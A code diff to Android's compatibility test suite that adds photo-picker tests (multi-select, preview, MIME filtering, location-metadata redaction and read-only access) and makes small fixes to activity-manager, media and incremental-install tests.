+ mDevice.waitForIdle();
+
+ mDevice.pressBack();
+
+ // Select one more item from Photo grid
+ itemList.get(2).click();
+ mDevice.waitForIdle();
+
+ final UiObject addButton = findAddButton();
+ addButton.click();
+ mDevice.waitForIdle();
+
+ // Verify that all 3 items are returned
+ final ClipData clipData = mActivity.getResult().data.getClipData();
+ final int count = clipData.getItemCount();
+ assertThat(count).isEqualTo(3);
+ for (int i = 0; i < count; i++) {
+ final Uri uri = clipData.getItemAt(i).getUri();
+ assertPickerUriFormat(uri, mContext.getUserId());
+ assertRedactedReadOnlyAccess(uri);
+ }
+ }
+
+ @Test
+ public void testMultiSelect_preview() throws Exception {
+ final int imageCount = 4;
+ createImages(imageCount, mContext.getUserId(), mUriList);
+ final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
+ // TODO(b/205291616): Replace 100 with MediaStore.getPickImagesMaxLimit()
+ intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, 100);
+ mActivity.startActivityForResult(intent, REQUEST_CODE);
+
+ final List<UiObject> itemList = findItemList(imageCount);
+ final int itemCount = itemList.size();
+ assertThat(itemCount).isEqualTo(imageCount);
+ for (int i = 0; i < itemCount; i++) {
+ final UiObject item = itemList.get(i);
+ item.click();
+ mDevice.waitForIdle();
+ }
+
+ final UiObject viewSelectedButton = findViewSelectedButton();
+ viewSelectedButton.click();
+ mDevice.waitForIdle();
+
+ // Swipe left three times
+ swipeLeft();
+ mDevice.waitForIdle();
+ swipeLeft();
+ mDevice.waitForIdle();
+ swipeLeft();
+ mDevice.waitForIdle();
+
+ // Deselect one item
+ final UiObject selectCheckButton = findPreviewSelectCheckButton();
+ selectCheckButton.click();
+ mDevice.waitForIdle();
+
+ final UiObject addButton = findPreviewAddOrSelectButton();
+ addButton.click();
+ mDevice.waitForIdle();
+
+ final ClipData clipData = mActivity.getResult().data.getClipData();
+ final int count = clipData.getItemCount();
+ assertThat(count).isEqualTo(itemCount - 1);
+ for (int i = 0; i < count; i++) {
+ final Uri uri = clipData.getItemAt(i).getUri();
+ assertPickerUriFormat(uri, mContext.getUserId());
+ assertRedactedReadOnlyAccess(uri);
+ }
+ }
+
+ @Test
+ public void testMimeTypeFilter() throws Exception {
+ final int videoCount = 2;
+ createVideos(videoCount, mContext.getUserId(), mUriList);
+ final int imageCount = 1;
+ createImages(imageCount, mContext.getUserId(), mUriList);
+ final String mimeType = "video/dng";
+
+ final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
+ // TODO(b/205291616): Replace 100 with MediaStore.getPickImagesMaxLimit()
+ intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, 100);
+ intent.setType(mimeType);
+ mActivity.startActivityForResult(intent, REQUEST_CODE);
+
+ // find all items
+ final List<UiObject> itemList = findItemList(-1);
+ final int itemCount = itemList.size();
+ assertThat(itemCount).isAtLeast(videoCount);
+ for (int i = 0; i < itemCount; i++) {
+ final UiObject item = itemList.get(i);
+ item.click();
+ mDevice.waitForIdle();
+ }
+
+ final UiObject addButton = findAddButton();
+ addButton.click();
+ mDevice.waitForIdle();
+
+ final ClipData clipData = mActivity.getResult().data.getClipData();
+ final int count = clipData.getItemCount();
+ assertThat(count).isEqualTo(itemCount);
+ for (int i = 0; i < count; i++) {
+ final Uri uri = clipData.getItemAt(i).getUri();
+ assertPickerUriFormat(uri, mContext.getUserId());
+ assertRedactedReadOnlyAccess(uri);
+ assertMimeType(uri, mimeType);
+ }
+ }
+
+ private static UiObject findViewSelectedButton() {
+ return new UiObject(new UiSelector().resourceIdMatches(
+ REGEX_PACKAGE_NAME + ":id/button_view_selected"));
+ }
+
+ private static UiObject findPreviewSelectCheckButton() {
+ return new UiObject(new UiSelector().resourceIdMatches(
+ REGEX_PACKAGE_NAME + ":id/preview_select_check_button"));
+ }
+
+ private void swipeLeft() {
+ final int width = mDevice.getDisplayWidth();
+ final int height = mDevice.getDisplayHeight();
+ mDevice.swipe(width / 2, height / 2, width / 4, height / 2, 10);
+ }
+}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java
new file mode 100644
index 00000000000..28380f9a094
--- /dev/null
+++ b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java
@@ -0,0 +1,161 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.photopicker.cts.util;
+
+import static android.photopicker.cts.util.PhotoPickerFilesUtils.DISPLAY_NAME_PREFIX;
+import static android.provider.MediaStore.Files.FileColumns.MEDIA_TYPE_IMAGE;
+import static android.provider.MediaStore.Files.FileColumns.MEDIA_TYPE_VIDEO;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assert.fail;
+
+import android.content.ContentResolver;
+import android.content.Context;
+import android.database.Cursor;
+import android.media.ExifInterface;
+import android.net.Uri;
+import android.os.FileUtils;
+import android.os.ParcelFileDescriptor;
+import android.provider.MediaStore;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import java.io.ByteArrayOutputStream;
+import java.io.FileNotFoundException;
+import java.io.InputStream;
+import java.util.Arrays;
+
+/**
+ * Photo Picker Utility methods for test assertions.
+ */
+public class PhotoPickerAssertionsUtils {
+ private static final String TAG = "PhotoPickerTestAssertions";
+
+ public static void assertPickerUriFormat(Uri uri, int expectedUserId) {
+ // content://media/picker/<user-id>/<media-id>
+ final int userId = Integer.parseInt(uri.getPathSegments().get(1));
+ assertThat(userId).isEqualTo(expectedUserId);
+
+ final String auth = uri.getPathSegments().get(0);
+ assertThat(auth).isEqualTo("picker");
+ }
+
+ public static void assertMimeType(Uri uri, String expectedMimeType) throws Exception {
+ final Context context = InstrumentationRegistry.getTargetContext();
+ final String resultMimeType = context.getContentResolver().getType(uri);
+ assertThat(resultMimeType).isEqualTo(expectedMimeType);
+ }
+
+ public static void assertRedactedReadOnlyAccess(Uri uri) throws Exception {
+ assertThat(uri).isNotNull();
+ final String[] projection = new String[]{MediaStore.Files.FileColumns.TITLE,
+ MediaStore.Files.FileColumns.MEDIA_TYPE};
+ final Context context = InstrumentationRegistry.getTargetContext();
+ final ContentResolver resolver = context.getContentResolver();
+ final Cursor c = resolver.query(uri, projection, null, null);
+ assertThat(c).isNotNull();
+ assertThat(c.moveToFirst()).isTrue();
+
+ boolean canCheckRedacted = false;
+ // If the file is inserted by this test case, we can check the redaction.
+ // To avoid checking the redaction on the other media file.
+ if (c.getString(0).startsWith(DISPLAY_NAME_PREFIX)) {
+ canCheckRedacted = true;
+ } else {
+ Log.d(TAG, uri + " is not the test file we expected, don't check the redaction");
+ }
+
+ final int mediaType = c.getInt(1);
+ switch (mediaType) {
+ case MEDIA_TYPE_IMAGE:
+ assertImageRedactedReadOnlyAccess(uri, canCheckRedacted, resolver);
+ break;
+ case MEDIA_TYPE_VIDEO:
+ assertVideoRedactedReadOnlyAccess(uri, canCheckRedacted, resolver);
+ break;
+ default:
+ fail("The media type is not as expected: " + mediaType);
+ }
+ }
+
+ private static void assertVideoRedactedReadOnlyAccess(Uri uri, boolean shouldCheckRedacted,
+ ContentResolver resolver) throws Exception {
+ if (shouldCheckRedacted) {
+ // The location is redacted
+ try (InputStream in = resolver.openInputStream(uri);
+ ByteArrayOutputStream out = new ByteArrayOutputStream()) {
+ FileUtils.copy(in, out);
+ byte[] bytes = out.toByteArray();
+ byte[] xmpBytes = Arrays.copyOfRange(bytes, 3269, 3269 + 13197);
+ String xmp = new String(xmpBytes);
+ assertWithMessage("Failed to redact XMP longitude")
+ .that(xmp.contains("10,41.751000E")).isFalse();
+ assertWithMessage("Failed to redact XMP latitude")
+ .that(xmp.contains("53,50.070500N")).isFalse();
+ assertWithMessage("Redacted non-location XMP")
+ .that(xmp.contains("13166/7763")).isTrue();
+ }
+ }
+
+ try (ParcelFileDescriptor pfd = resolver.openFileDescriptor(uri, "r")) {
+ // this should pass
+ }
+
+ // assert no write access
+ try (ParcelFileDescriptor pfd = resolver.openFileDescriptor(uri, "w")) {
+ fail("Does not grant write access to uri " + uri.toString());
+ } catch (SecurityException | FileNotFoundException expected) {
+ }
+ }
+
+ private static void assertImageRedactedReadOnlyAccess(Uri uri, boolean shouldCheckRedacted,
+ ContentResolver resolver) throws Exception {
+ if (shouldCheckRedacted) {
+ // The location is redacted
+ try (InputStream is = resolver.openInputStream(uri)) {
+ final ExifInterface exif = new ExifInterface(is);
+ final float[] latLong = new float[2];
+ exif.getLatLong(latLong);
+ assertWithMessage("Failed to redact latitude")
+ .that(latLong[0]).isWithin(0.001f).of(0);
+ assertWithMessage("Failed to redact longitude")
+ .that(latLong[1]).isWithin(0.001f).of(0);
+
+ String xmp = exif.getAttribute(ExifInterface.TAG_XMP);
+ assertWithMessage("Failed to redact XMP longitude")
+ .that(xmp.contains("10,41.751000E")).isFalse();
+ assertWithMessage("Failed to redact XMP latitude")
+ .that(xmp.contains("53,50.070500N")).isFalse();
+ assertWithMessage("Redacted non-location XMP")
+ .that(xmp.contains("LensDefaults")).isTrue();
+ }
+ }
+
+ try (ParcelFileDescriptor pfd = resolver.openFileDescriptor(uri, "r")) {
+ // this should pass
+ }
+
+ // assert no write access
+ try (ParcelFileDescriptor pfd = resolver.openFileDescriptor(uri, "w")) {
+ fail("Does not grant write access to uri " + uri.toString());
+ } catch (SecurityException | FileNotFoundException expected) {
+ }
+ }
+}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java
new file mode 100644
index 00000000000..37a44f99915
--- /dev/null
+++ b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java
@@ -0,0 +1,116 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.photopicker.cts.util;
+
+import android.app.UiAutomation;
+import android.content.Context;
+import android.net.Uri;
+import android.os.FileUtils;
+import android.os.UserHandle;
+import android.photopicker.cts.R;
+import android.provider.MediaStore;
+import android.provider.cts.media.MediaStoreUtils;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ShellUtils;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.List;
+
+/**
+ * Photo Picker Utility methods for media files creation and deletion.
+ */
+public class PhotoPickerFilesUtils {
+ public static final String DISPLAY_NAME_PREFIX = "ctsPhotoPicker";
+
+ public static void createImages(int count, int userId, List<Uri> uriList)
+ throws Exception {
+ for (int i = 0; i < count; i++) {
+ final Uri uri = createImage(userId);
+ uriList.add(uri);
+ clearMediaOwner(uri, userId);
+ }
+ }
+
+ public static void createVideos(int count, int userId, List<Uri> uriList)
+ throws Exception {
+ for (int i = 0; i < count; i++) {
+ final Uri uri = createVideo(userId);
+ uriList.add(uri);
+ clearMediaOwner(uri, userId);
+ }
+ }
+
+ public static void deleteMedia(Uri uri, int userId) throws Exception {
+ final String cmd = String.format("content delete --uri %s --user %d", uri, userId);
+ ShellUtils.runShellCommand(cmd);
+ }
+
+ private static void clearMediaOwner(Uri uri, int userId) throws Exception {
+ final String cmd = String.format(
+ "content update --uri %s --user %d --bind owner_package_name:n:", uri, userId);
+ ShellUtils.runShellCommand(cmd);
+ }
+
+ private static Uri createVideo(int userId) throws Exception {
+ final Uri uri = stageMedia(R.raw.testvideo_meta,
+ MediaStore.Video.Media.EXTERNAL_CONTENT_URI, "video/mp4", userId);
+ return uri;
+ }
+
+ private static Uri createImage(int userId) throws Exception {
+ final Uri uri = stageMedia(R.raw.lg_g4_iso_800_jpg,
+ MediaStore.Images.Media.EXTERNAL_CONTENT_URI, "image/jpeg", userId);
+ return uri;
+ }
+
+ private static Uri stageMedia(int resId, Uri collectionUri, String mimeType, int userId) throws
+ Exception {
+ UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ uiAutomation.adoptShellPermissionIdentity(
+ android.Manifest.permission.INTERACT_ACROSS_USERS,
+ android.Manifest.permission.INTERACT_ACROSS_USERS_FULL);
+ try {
+ final Context context = InstrumentationRegistry.getTargetContext();
+ final Context userContext = userId == context.getUserId() ? context :
+ context.createPackageContextAsUser("android", /* flags= */ 0,
+ UserHandle.of(userId));
+ return stageMedia(resId, collectionUri, mimeType, userContext);
+ } finally {
+ uiAutomation.dropShellPermissionIdentity();
+ }
+ }
+
+ private static Uri stageMedia(int resId, Uri collectionUri, String mimeType, Context context)
+ throws IOException {
+ final String displayName = DISPLAY_NAME_PREFIX + System.nanoTime();
+ final MediaStoreUtils.PendingParams params = new MediaStoreUtils.PendingParams(
+ collectionUri, displayName, mimeType);
+ final Uri pendingUri = MediaStoreUtils.createPending(context, params);
+ try (MediaStoreUtils.PendingSession session = MediaStoreUtils.openPending(context,
+ pendingUri)) {
+ try (InputStream source = context.getResources().openRawResource(resId);
+ OutputStream target = session.openOutputStream()) {
+ FileUtils.copy(source, target);
+ }
+ return session.publish();
+ }
+ }
+}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java
new file mode 100644
index 00000000000..6a64e721791
--- /dev/null
+++ b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.photopicker.cts.util;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.text.format.DateUtils;
+
+import androidx.test.uiautomator.UiObject;
+import androidx.test.uiautomator.UiObjectNotFoundException;
+import androidx.test.uiautomator.UiScrollable;
+import androidx.test.uiautomator.UiSelector;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Photo Picker Utility methods for finding UI elements.
+ */
+public class PhotoPickerUiUtils {
+ public static final long SHORT_TIMEOUT = 5 * DateUtils.SECOND_IN_MILLIS;
+
+ private static final long TIMEOUT = 30 * DateUtils.SECOND_IN_MILLIS;
+ public static final String REGEX_PACKAGE_NAME =
+ "com(.google)?.android.providers.media(.module)?";
+
+ /**
+ * Get the list of items from the photo grid list.
+ * @param itemCount if the itemCount is -1, return all matching items. Otherwise, return the
+ * item list that its size is not greater than the itemCount.
+ * @throws Exception
+ */
+ public static List<UiObject> findItemList(int itemCount) throws Exception {
+ final List<UiObject> itemList = new ArrayList<>();
+ final UiSelector gridList = new UiSelector().className(
+ "androidx.recyclerview.widget.RecyclerView").resourceIdMatches(
+ REGEX_PACKAGE_NAME + ":id/picker_tab_recyclerview");
+
+ // Wait for the first item to appear
+ assertWithMessage("Timed out while waiting for first item to appear")
+ .that(new UiObject(gridList.childSelector(new UiSelector())).waitForExists(TIMEOUT))
+ .isTrue();
+
+ final UiSelector itemSelector = new UiSelector().resourceIdMatches(
+ REGEX_PACKAGE_NAME + ":id/icon_thumbnail");
+ final UiScrollable grid = new UiScrollable(gridList);
+ final int childCount = grid.getChildCount();
+ final int count = itemCount == -1 ? childCount : itemCount;
+
+ for (int i = 0; i < childCount; i++) {
+ final UiObject item = grid.getChildByInstance(itemSelector, i);
+ if (item.exists()) {
+ itemList.add(item);
+ }
+ if (itemList.size() == count) {
+ break;
+ }
+ }
+ return itemList;
+ }
+
+ public static UiObject findPreviewAddOrSelectButton() {
+ return new UiObject(new UiSelector().resourceIdMatches(
+ REGEX_PACKAGE_NAME + ":id/preview_add_or_select_button"));
+ }
+
+ public static UiObject findAddButton() {
+ return new UiObject(new UiSelector().resourceIdMatches(
+ REGEX_PACKAGE_NAME + ":id/button_add"));
+ }
+
+ public static UiObject findProfileButton() {
+ return new UiObject(new UiSelector().resourceIdMatches(
+ REGEX_PACKAGE_NAME + ":id/profile_button"));
+ }
+}
diff --git a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
index 74728a11be3..d3e91c1a2c3 100644
--- a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
@@ -1605,6 +1605,7 @@ public class ActivityManagerFgsBgStartTest {
PACKAGE_NAME_APP1, 0);
WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
WAITFOR_MSEC);
+ final int defaultBehavior = getPushMessagingOverQuotaBehavior();
try {
// Enable the FGS background startForeground() restriction.
enableFgsRestriction(true, true, null);
@@ -1666,8 +1667,7 @@ public class ActivityManagerFgsBgStartTest {
} finally {
uid1Watcher.finish();
// Change back to default behavior.
- setPushMessagingOverQuotaBehavior(
- TEMPORARY_ALLOW_LIST_TYPE_FOREGROUND_SERVICE_NOT_ALLOWED);
+ setPushMessagingOverQuotaBehavior(defaultBehavior);
// allow temp allowlist to expire.
SystemClock.sleep(TEMP_ALLOWLIST_DURATION_MS);
}
@@ -1701,7 +1701,10 @@ public class ActivityManagerFgsBgStartTest {
WAITFOR_MSEC);
WatchUidRunner uid2Watcher = new WatchUidRunner(mInstrumentation, app2Info.uid,
WAITFOR_MSEC);
+ final int defaultBehavior = getPushMessagingOverQuotaBehavior();
try {
+ setPushMessagingOverQuotaBehavior(
+ TEMPORARY_ALLOW_LIST_TYPE_FOREGROUND_SERVICE_NOT_ALLOWED);
// Enable the FGS background startForeground() restriction.
enableFgsRestriction(true, true, null);
// Now it can start FGS.
@@ -1741,6 +1744,7 @@ public class ActivityManagerFgsBgStartTest {
} finally {
uid1Watcher.finish();
uid2Watcher.finish();
+ setPushMessagingOverQuotaBehavior(defaultBehavior);
// Sleep to let the temp allowlist expire so it won't affect next test case.
SystemClock.sleep(TEMP_ALLOWLIST_DURATION_MS);
}
@@ -1878,5 +1882,21 @@ public class ActivityManagerFgsBgStartTest {
Integer.toString(type), false);
}
);
+ // Sleep 2 seconds to allow the device config change to be applied.
+ SystemClock.sleep(2000);
+ }
+
+ private int getPushMessagingOverQuotaBehavior() throws Exception {
+ final String defaultBehaviorStr = CtsAppTestUtils.executeShellCmd(mInstrumentation,
+ "device_config get activity_manager "
+ + KEY_PUSH_MESSAGING_OVER_QUOTA_BEHAVIOR).trim();
+ int defaultBehavior = TEMPORARY_ALLOW_LIST_TYPE_FOREGROUND_SERVICE_NOT_ALLOWED;
+ if (!defaultBehaviorStr.equals("null")) {
+ try {
+ defaultBehavior = Integer.parseInt(defaultBehaviorStr);
+ } catch (NumberFormatException e) {
+ }
+ }
+ return defaultBehavior;
}
}
diff --git a/tests/libcore/jsr166/Android.bp b/tests/libcore/jsr166/Android.bp
index 0ab6329f102..1addbfd1b1d 100644
--- a/tests/libcore/jsr166/Android.bp
+++ b/tests/libcore/jsr166/Android.bp
@@ -37,6 +37,6 @@ android_test {
test_suites: [
"cts",
"general-tests",
- "mts",
+ "mts-art",
],
}
diff --git a/tests/libcore/ojluni/Android.bp b/tests/libcore/ojluni/Android.bp
index b11bc9b3483..12766211394 100644
--- a/tests/libcore/ojluni/Android.bp
+++ b/tests/libcore/ojluni/Android.bp
@@ -41,6 +41,6 @@ android_test {
test_suites: [
"cts",
"general-tests",
- "mts",
+ "mts-art",
],
}
diff --git a/tests/libcore/runner/Android.bp b/tests/libcore/runner/Android.bp
index d54a198f9d9..4e0742f7d09 100644
--- a/tests/libcore/runner/Android.bp
+++ b/tests/libcore/runner/Android.bp
@@ -31,6 +31,6 @@ android_test_helper_app {
test_suites: [
"cts",
"general-tests",
- "mts",
+ "mts-art",
],
}
diff --git a/tests/media/AndroidTest.xml b/tests/media/AndroidTest.xml
index 1ce5be4ad87..02f2aca492d 100644
--- a/tests/media/AndroidTest.xml
+++ b/tests/media/AndroidTest.xml
@@ -26,7 +26,7 @@
</target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
<option name="push-all" value="true" />
- <option name="media-folder-name" value="CtsMediaV2TestCases-1.13" />
+ <option name="media-folder-name" value="CtsMediaV2TestCases-1.14" />
<option name="dynamic-config-module" value="CtsMediaV2TestCases" />
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/media/DynamicConfig.xml b/tests/media/DynamicConfig.xml
index ad4a006841e..572610a8955 100644
--- a/tests/media/DynamicConfig.xml
+++ b/tests/media/DynamicConfig.xml
@@ -1,5 +1,5 @@
<dynamicConfig>
<entry key="media_files_url">
- <value>https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-1.13.zip</value>
+ <value>https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-1.14.zip</value>
</entry>
</dynamicConfig>
diff --git a/tests/media/README.md b/tests/media/README.md
index 695ac322a6b..db6eb116032 100644
--- a/tests/media/README.md
+++ b/tests/media/README.md
@@ -3,7 +3,7 @@ Current folder comprises of files necessary for testing media extractor, media m
The aim of these tests is not solely to verify the CDD requirements but also to test components, their plugins and their interactions with media framework.
-The test vectors used by the test suite is available at [link](https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-1.13.zip) and is downloaded automatically while running tests. Manual installation of these can be done using copy_media.sh script in this directory.
+The test vectors used by the test suite is available at [link](https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-1.14.zip) and is downloaded automatically while running tests. Manual installation of these can be done using copy_media.sh script in this directory.
The test suite looks to cover sdk/ndk api in normal and error scenarios. Error scenarios are separated from regular usage and are placed under class *UnitTest (MuxerUnitTest, ExtractorUnitTest, ...).
diff --git a/tests/media/copy_media.sh b/tests/media/copy_media.sh
index c89ea8fb6da..0adef282c9f 100755
--- a/tests/media/copy_media.sh
+++ b/tests/media/copy_media.sh
@@ -17,7 +17,7 @@
## script to install mediav2 test files manually
adbOptions=" "
-resLabel=CtsMediaV2TestCases-1.13
+resLabel=CtsMediaV2TestCases-1.14
srcDir="/tmp/$resLabel"
tgtDir="/sdcard/test"
usage="Usage: $0 [-h] [-s serial]"
diff --git a/tests/media/src/android/mediav2/cts/CodecTestBase.java b/tests/media/src/android/mediav2/cts/CodecTestBase.java
index ea542d6fd0f..575eed7a263 100644
--- a/tests/media/src/android/mediav2/cts/CodecTestBase.java
+++ b/tests/media/src/android/mediav2/cts/CodecTestBase.java
@@ -16,9 +16,11 @@
package android.mediav2.cts;
+import android.content.Context;
import android.content.pm.PackageManager;
import android.graphics.ImageFormat;
import android.graphics.Rect;
+import android.hardware.display.DisplayManager;
import android.media.Image;
import android.media.MediaCodec;
import android.media.MediaCodecInfo;
@@ -29,6 +31,7 @@ import android.os.Build;
import android.os.PersistableBundle;
import android.util.Log;
import android.util.Pair;
+import android.view.Display;
import android.view.Surface;
import androidx.annotation.NonNull;
@@ -60,6 +63,7 @@ import com.android.compatibility.common.util.ApiLevelUtil;
import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface;
import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible;
+import static android.media.MediaCodecInfo.CodecProfileLevel.*;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
@@ -524,8 +528,8 @@ abstract class CodecTestBase {
static final int RETRY_LIMIT = 100; // max poll counter before test aborts and returns error
static final String INVALID_CODEC = "unknown.codec_";
static final String mInpPrefix = WorkDir.getMediaDirString();
- static final PackageManager pm =
- InstrumentationRegistry.getInstrumentation().getContext().getPackageManager();
+ static final Context mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+ static final PackageManager pm = mContext.getPackageManager();
static String mimeSelKeys;
static String codecPrefix;
@@ -629,6 +633,47 @@ abstract class CodecTestBase {
return isSupported;
}
+ static boolean doesAnyFormatHaveHDRProfile(String mime, ArrayList<MediaFormat> formats) {
+ boolean isHDR = false;
+ for (MediaFormat format : formats) {
+ assertEquals(mime, format.getString(MediaFormat.KEY_MIME));
+ if (mime.equals(MediaFormat.MIMETYPE_VIDEO_AVC)) {
+ int profile = format.getInteger(MediaFormat.KEY_PROFILE);
+ if (profile == AVCProfileHigh10 || profile == AVCProfileHigh422 ||
+ profile == AVCProfileHigh444) {
+ isHDR = true;
+ break;
+ }
+ } else if (mime.equals(MediaFormat.MIMETYPE_VIDEO_VP9)) {
+ int profile = format.getInteger(MediaFormat.KEY_PROFILE, VP9Profile0);
+ if (profile == VP9Profile2HDR || profile == VP9Profile3HDR ||
+ profile == VP9Profile2HDR10Plus || profile == VP9Profile3HDR10Plus) {
+ isHDR = true;
+ break;
+ }
+ } else if (mime.equals(MediaFormat.MIMETYPE_VIDEO_HEVC)) {
+ int profile = format.getInteger(MediaFormat.KEY_PROFILE, HEVCProfileMain);
+ if (profile == HEVCProfileMain10HDR10 || profile == HEVCProfileMain10HDR10Plus) {
+ isHDR = true;
+ break;
+ }
+ } else if (mime.equals(MediaFormat.MIMETYPE_VIDEO_AV1)) {
+ int profile = format.getInteger(MediaFormat.KEY_PROFILE, AV1ProfileMain8);
+ if (profile == AV1ProfileMain10HDR10 || profile == AV1ProfileMain10HDR10Plus) {
+ isHDR = true;
+ break;
+ }
+ }
+ }
+ return isHDR;
+ }
+
+ static boolean canDisplaySupportHDRContent() {
+ DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
+ return displayManager.getDisplay(Display.DEFAULT_DISPLAY).getHdrCapabilities()
+ .getSupportedHdrTypes().length != 0;
+ }
+
static boolean areFormatsSupported(String name, String mime, ArrayList<MediaFormat> formats)
throws IOException {
MediaCodec codec = MediaCodec.createByCodecName(name);
diff --git a/tests/media/src/android/mediav2/cts/DecoderColorAspectsTest.java b/tests/media/src/android/mediav2/cts/DecoderColorAspectsTest.java
index ce36bd3f8e5..f7466b027c8 100644
--- a/tests/media/src/android/mediav2/cts/DecoderColorAspectsTest.java
+++ b/tests/media/src/android/mediav2/cts/DecoderColorAspectsTest.java
@@ -246,6 +246,9 @@ public class DecoderColorAspectsTest extends CodecDecoderTestBase {
ArrayList<MediaFormat> formats = new ArrayList<>();
formats.add(format);
Assume.assumeTrue(areFormatsSupported(mCodecName, mMime, formats));
+ if (doesAnyFormatHaveHDRProfile(mMime, formats)) {
+ Assume.assumeTrue(canDisplaySupportHDRContent());
+ }
CodecTestActivity activity = mActivityRule.getActivity();
setUpSurface(activity);
activity.setScreenParams(getWidth(format), getHeight(format), true);
diff --git a/tests/media/src/android/mediav2/cts/WorkDir.java b/tests/media/src/android/mediav2/cts/WorkDir.java
index 9490d6979d1..698eb6b5be5 100644
--- a/tests/media/src/android/mediav2/cts/WorkDir.java
+++ b/tests/media/src/android/mediav2/cts/WorkDir.java
@@ -40,7 +40,7 @@ class WorkDir {
// user has specified the mediaDirString via instrumentation-arg
return mediaDirString + ((mediaDirString.endsWith("/")) ? "" : "/");
} else {
- return (getTopDirString() + "test/CtsMediaV2TestCases-1.13/");
+ return (getTopDirString() + "test/CtsMediaV2TestCases-1.14/");
}
}
}
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
index d1a46b0ece9..37a8f7679d6 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
@@ -154,10 +154,17 @@ public class PackageManagerShellCommandIncrementalTest {
public void testAndroid12RequiresIncFsV2() throws Exception {
// IncFS is a kernel feature, which is a subject to vendor freeze. That's why
// the test verifies the vendor API level here, not the system's one.
- final boolean v2Required = PropertyUtil.isVendorApiLevelNewerThan(30);
+ // Note: vendor API level getter returns either the frozen API level, or the current one for
+ // non-vendor-freeze devices; need to verify both the system first API level and vendor
+ // level to make the final decision.
+ final boolean v2ReqdForSystem = PropertyUtil.getFirstApiLevel() > 30;
+ final boolean v2ReqdForVendor = PropertyUtil.isVendorApiLevelNewerThan(30);
+ final boolean v2Required = v2ReqdForSystem && v2ReqdForVendor;
if (v2Required) {
- Assert.assertTrue(getPackageManager().hasSystemFeature(
- PackageManager.FEATURE_INCREMENTAL_DELIVERY, 2));
+ Assert.assertTrue("Devices launched at API 31+ with a vendor partition of API 31+ need "
+ + "to support Incremental Delivery version 2 or higher",
+ getPackageManager().hasSystemFeature(
+ PackageManager.FEATURE_INCREMENTAL_DELIVERY, 2));
}
}
